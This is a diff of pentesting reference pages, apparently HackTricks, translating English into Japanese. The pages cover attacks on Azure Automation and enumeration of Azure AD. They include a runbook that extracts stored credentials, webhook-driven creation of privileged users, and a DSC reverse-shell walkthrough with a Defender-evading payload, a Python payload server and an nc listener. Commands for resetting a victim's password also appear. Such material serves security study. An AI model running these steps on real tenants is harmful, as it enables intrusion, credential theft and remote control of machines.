[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** is an Azure configuration management service that allows you to write, manage, and compile PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) for nodes in any cloud or on-premises datacenter. The service also imports [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), and assigns configurations to target nodes, all in the cloud. You can access Azure Automation State Configuration in the Azure portal by selecting **State configuration (DSC)** under **Configuration Management**.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration**は、任意のクラウドまたはオンプレミスデータセンター内のノードのためにPowerShell Desired State Configuration (DSC) [構成](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations)を作成、管理、コンパイルすることを可能にするAzureの構成管理サービスです。このサービスは、[DSCリソース](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources)をインポートし、ターゲットノードに構成を割り当て、すべてクラウド内で行います。Azureポータルで**Configuration Management**の下にある**State configuration (DSC)**を選択することで、Azure Automation State Configurationにアクセスできます。
|
||||
|
||||
**Sensitive information** could be found in these configurations.
|
||||
これらの構成には**機密情報**が含まれている可能性があります。
|
||||
|
||||
### RCE
|
||||
|
||||
It's possible to abuse SC to run arbitrary scripts in the managed machines.
|
||||
SCを悪用して、管理されたマシンで任意のスクリプトを実行することが可能です。
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeration
|
||||
|
||||
## 列挙
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
@@ -80,9 +79,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
|
||||
### Create a Runbook
|
||||
|
||||
### Runbookを作成する
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
@@ -97,9 +94,7 @@ Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
|
||||
### Exfiltrate Creds & Variables defined in an Automation Account using a Run Book
|
||||
|
||||
### 自動化アカウントで定義されたクレデンシャルと変数をランブックを使用して抽出する
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
@@ -122,61 +117,54 @@ $start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $Au
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could do the same thing modifying an existing Run Book, and from the web console.
|
||||
> 既存のRun Bookを修正することで、ウェブコンソールから同じことを行うことができます。
|
||||
|
||||
### Steps for Setting Up an Automated Highly Privileged User Creation
|
||||
### 自動化された特権ユーザー作成の設定手順
|
||||
|
||||
#### 1. Initialize an Automation Account
|
||||
#### 1. 自動化アカウントの初期化
|
||||
|
||||
- **Action Required:** Create a new Automation Account.
|
||||
- **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
|
||||
- **必要なアクション:** 新しい自動化アカウントを作成します。
|
||||
- **特定の設定:** 「Azure Run As アカウントを作成する」が有効になっていることを確認します。
|
||||
|
||||
#### 2. Import and Set Up Runbook
|
||||
#### 2. Runbookのインポートと設定
|
||||
|
||||
- **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Actions Required:**
|
||||
- Import the runbook into the Automation Account.
|
||||
- Publish the runbook to make it executable.
|
||||
- Attach a webhook to the runbook, enabling external triggers.
|
||||
- **ソース:** [MicroBurst GitHubリポジトリ](https://github.com/NetSPI/MicroBurst)からサンプルRunbookをダウンロードします。
|
||||
- **必要なアクション:**
|
||||
- Runbookを自動化アカウントにインポートします。
|
||||
- Runbookを公開して実行可能にします。
|
||||
- RunbookにWebhookを添付し、外部トリガーを有効にします。
|
||||
|
||||
#### 3. Configure AzureAD Module
|
||||
#### 3. AzureADモジュールの設定
|
||||
|
||||
- **Action Required:** Add the AzureAD module to the Automation Account.
|
||||
- **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
|
||||
- **必要なアクション:** 自動化アカウントにAzureADモジュールを追加します。
|
||||
- **追加のステップ:** すべてのAzure Automationモジュールが最新バージョンに更新されていることを確認します。
|
||||
|
||||
#### 4. Permission Assignment
|
||||
#### 4. 権限の割り当て
|
||||
|
||||
- **Roles to Assign:**
|
||||
- User Administrator
|
||||
- Subscription Owner
|
||||
- **Target:** Assign these roles to the Automation Account for necessary privileges.
|
||||
- **割り当てる役割:**
|
||||
- ユーザー管理者
|
||||
- サブスクリプションオーナー
|
||||
- **ターゲット:** 必要な特権のために、これらの役割を自動化アカウントに割り当てます。
|
||||
|
||||
#### 5. Awareness of Potential Access Loss
|
||||
#### 5. 潜在的なアクセス喪失の認識
|
||||
|
||||
- **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
|
||||
- **注意:** このような自動化を設定すると、サブスクリプションの制御を失う可能性があることに注意してください。
|
||||
|
||||
#### 6. Trigger User Creation
|
||||
|
||||
- Trigger the webhook to create a new user by sending a POST request.
|
||||
- Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
|
||||
#### 6. ユーザー作成のトリガー
|
||||
|
||||
- POSTリクエストを送信して新しいユーザーを作成するためにWebhookをトリガーします。
|
||||
- 提供されたPowerShellスクリプトを使用し、`$uri`を実際のWebhook URLに置き換え、`$AccountInfo`を希望のユーザー名とパスワードで更新します。
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,66 +4,54 @@
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
|
||||
### リモートサーバー (C2) インフラストラクチャの準備と手順の概要
|
||||
|
||||
#### Overview
|
||||
#### 概要
|
||||
|
||||
The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
|
||||
このプロセスは、Windows Defenderを回避するように設計された修正されたNishang `Invoke-PowerShellTcp.ps1` ペイロード、`RevPS.ps1` をホストするためのリモートサーバーインフラストラクチャの設定を含みます。このペイロードは、IP `40.84.7.74` のKali LinuxマシンからシンプルなPython HTTPサーバーを使用して提供されます。操作は以下のいくつかのステップを通じて実行されます:
|
||||
|
||||
#### Step 1 — Create Files
|
||||
#### ステップ 1 — ファイルの作成
|
||||
|
||||
- **Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
- **必要なファイル:** 2つのPowerShellスクリプトが必要です:
|
||||
1. `reverse_shell_config.ps1`: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これは[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)から入手可能です。
|
||||
2. `push_reverse_shell_config.ps1`: VMに設定を公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。
|
||||
- **カスタマイズ:** これらのファイル内の変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。
|
||||
|
||||
#### Step 2 — Zip Configuration File
|
||||
|
||||
- The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
#### ステップ 2 — 設定ファイルの圧縮
|
||||
|
||||
- `reverse_shell_config.ps1` は `.zip` ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Step 3 — ストレージコンテキストの設定とアップロード
|
||||
|
||||
#### Step 3 — Set Storage Context & Upload
|
||||
|
||||
- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
|
||||
|
||||
- ZIP形式の構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### ステップ 4 — Kali ボックスの準備
|
||||
|
||||
#### Step 4 — Prep Kali Box
|
||||
|
||||
- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
|
||||
|
||||
- Kali サーバーは、GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- スクリプトは、ターゲットのWindows VMとリバースシェルのポートを指定するように編集されます。
|
||||
|
||||
- The script is edited to specify the target Windows VM and port for the reverse shell.
|
||||
#### Step 5 — 設定ファイルを公開する
|
||||
|
||||
#### Step 5 — Publish Configuration File
|
||||
- 設定ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。
|
||||
|
||||
- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
|
||||
|
||||
#### Step 6 — Host Payload and Setup Listener
|
||||
|
||||
- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
|
||||
#### Step 6 — ペイロードをホストし、リスナーを設定する
|
||||
|
||||
- ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- スケジュールされたタスクがペイロードを実行し、SYSTEMレベルの特権を達成します。
|
||||
|
||||
- The scheduled task executes the payload, achieving SYSTEM-level privileges.
|
||||
#### 結論
|
||||
|
||||
#### Conclusion
|
||||
|
||||
The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
|
||||
このプロセスの成功した実行は、資格情報のダンプや攻撃を複数のVMに拡大するなど、さらなるアクションの可能性を開きます。このガイドは、Azure Automation DSCの領域での継続的な学習と創造性を奨励します。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including **authentication, authorization, and user management**.
|
||||
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスするのを可能にする上で重要です。Azure AD の設計は、**認証、承認、およびユーザー管理**を主に含む、基本的なアイデンティティサービスを提供することに焦点を当てています。
|
||||
|
||||
Key features of Azure AD involve **multi-factor authentication** and **conditional access**, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities.
|
||||
Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを可能にします。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。
|
||||
|
||||
## Enumeration
|
||||
## 列挙
|
||||
|
||||
### **Connection**
|
||||
### **接続**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az login #This will open the browser (if not use --use-device-code)
|
||||
az login -u <username> -p <password> #Specify user and password
|
||||
@@ -43,11 +42,9 @@ az find "vm" # Find vm commands
|
||||
az vm -h # Get subdomains
|
||||
az ad user list --query-examples # Get examples
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Mg" }}
|
||||
|
||||
```powershell
|
||||
# Login Open browser
|
||||
Connect-MgGraph
|
||||
@@ -72,11 +69,9 @@ Connect-MgGraph -AccessToken $secureToken
|
||||
# Find commands
|
||||
Find-MgGraphCommand -command *Mg*
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount #Open browser
|
||||
# Using credentials
|
||||
@@ -98,7 +93,7 @@ Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -Accou
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
$creds = New-Object
|
||||
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
|
||||
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
|
||||
|
||||
#All the Azure AD cmdlets have the format *-AzAD*
|
||||
@@ -106,33 +101,29 @@ Get-Command *azad*
|
||||
#Cmdlets for other Azure resources have the format *Az*
|
||||
Get-Command *az*
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw PS" }}
|
||||
|
||||
```powershell
|
||||
#Using management
|
||||
$Token = 'eyJ0eXAi..'
|
||||
# List subscriptions
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
# Using graph
|
||||
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="curl" }}
|
||||
|
||||
```bash
|
||||
# Request tokens to access endpoints
|
||||
# ARM
|
||||
@@ -141,11 +132,9 @@ curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-
|
||||
# Vault
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
Connect-AzureAD #Open browser
|
||||
# Using credentials
|
||||
@@ -157,57 +146,52 @@ Connect-AzureAD -Credential $creds
|
||||
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
|
||||
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
|
||||
Azureに**CLI**を通じてログインする際、あなたは**Microsoft**に属する**テナント**からの**Azureアプリケーション**を使用しています。これらのアプリケーションは、あなたのアカウントで作成できるものと同様に、**クライアントID**を持っています。**コンソールで見ることができる許可されたアプリケーションのリスト**にはすべて表示されませんが、**デフォルトで許可されています**。
|
||||
|
||||
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
|
||||
|
||||
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
|
||||
例えば、**認証**を行う**PowerShellスクリプト**は、クライアントID **`1950a258-227b-4e31-a9cf-717495945fc2`**を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者は**そのアプリケーションをブロック**することができ、ユーザーがそのアプリを介して接続することを防ぐことができます。
|
||||
|
||||
しかし、**Azureに接続を許可する他のクライアントID**のアプリケーションも存在します:
|
||||
```powershell
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
|
||||
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
|
||||
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
|
||||
-Scope 'openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
|
||||
-Scope 'openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
|
||||
-Scope 'openid' `
|
||||
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
|
||||
-Scope 'openid' `
|
||||
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
```
|
||||
|
||||
### Tenants
|
||||
### テナント
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List tenants
|
||||
az account tenant list
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Users
|
||||
### ユーザー
|
||||
|
||||
For more information about Entra ID users check:
|
||||
Entra ID ユーザーに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -215,7 +199,6 @@ For more information about Entra ID users check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Enumerate users
|
||||
az ad user list --output table
|
||||
@@ -245,7 +228,7 @@ az role assignment list --include-inherited --include-groups --include-classic-a
|
||||
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
|
||||
## Get users
|
||||
curl -X GET "https://graph.microsoft.com/v1.0/users" \
|
||||
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
|
||||
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
|
||||
## Get EntraID roles assigned to an user
|
||||
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
@@ -256,11 +239,9 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" | jq
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Users
|
||||
Get-AzureADUser -All $true
|
||||
@@ -296,11 +277,9 @@ Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAp
|
||||
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate users
|
||||
Get-AzADUser
|
||||
@@ -312,21 +291,18 @@ Get-AzADUser | ?{$_.Displayname -match "admin"}
|
||||
# Get roles assigned to a user
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Change User Password
|
||||
|
||||
#### ユーザーパスワードの変更
|
||||
```powershell
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be **required MFA if** it logs in from an specific location, browser or **some condition**. These policies, if not configured correctly might be prone to **bypasses**. Check:
|
||||
すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、または**いくつかの条件**からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、**バイパス**される可能性があります。確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -334,7 +310,7 @@ It's highly recommended to add MFA to every user, however, some companies won't
|
||||
|
||||
### Groups
|
||||
|
||||
For more information about Entra ID groups check:
|
||||
Entra IDグループに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -342,7 +318,6 @@ For more information about Entra ID groups check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate groups
|
||||
az ad group list
|
||||
@@ -369,11 +344,9 @@ az role assignment list --include-groups --include-classic-administrators true -
|
||||
|
||||
# To get Entra ID roles assigned check how it's done with users and use a group ID
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Groups
|
||||
Get-AzureADGroup -All $true
|
||||
@@ -399,11 +372,9 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
# Get Apps where a group has a role (role not shown)
|
||||
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get all groups
|
||||
Get-AzADGroup
|
||||
@@ -417,29 +388,26 @@ Get-AzADGroupMember -GroupDisplayName <resource_group_name>
|
||||
# Get roles of group
|
||||
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Add user to group
|
||||
|
||||
Owners of the group can add new users to the group
|
||||
#### グループにユーザーを追加
|
||||
|
||||
グループの所有者は、新しいユーザーをグループに追加できます。
|
||||
```powershell
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**.\
|
||||
> Check how to abuse dynamic groups in the following page:
|
||||
> グループは動的であり、基本的には**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**属性**に基づいている場合、**ユーザー**が**制御**できると、彼はこの機能を悪用して**他のグループに入る**ことができます。\
|
||||
> 動的グループを悪用する方法については、次のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
### Service Principals
|
||||
### サービスプリンシパル
|
||||
|
||||
For more information about Entra ID service principals check:
|
||||
Entra ID サービスプリンシパルに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -447,7 +415,6 @@ For more information about Entra ID service principals check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get Service Principals
|
||||
az ad sp list --all
|
||||
@@ -464,11 +431,9 @@ az ad sp list --show-mine
|
||||
# Get SPs with generated secret or certificate
|
||||
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Get Service Principals
|
||||
Get-AzureADServicePrincipal -All $true
|
||||
@@ -487,11 +452,9 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedO
|
||||
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
|
||||
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get SPs
|
||||
Get-AzADServicePrincipal
|
||||
@@ -502,155 +465,149 @@ Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
|
||||
# Get roles of a SP
|
||||
Get-AzRoleAssignment -ServicePrincipalName <String>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> The Owner of a Service Principal can change its password.
|
||||
> サービスプリンシパルのオーナーは、そのパスワードを変更できます。
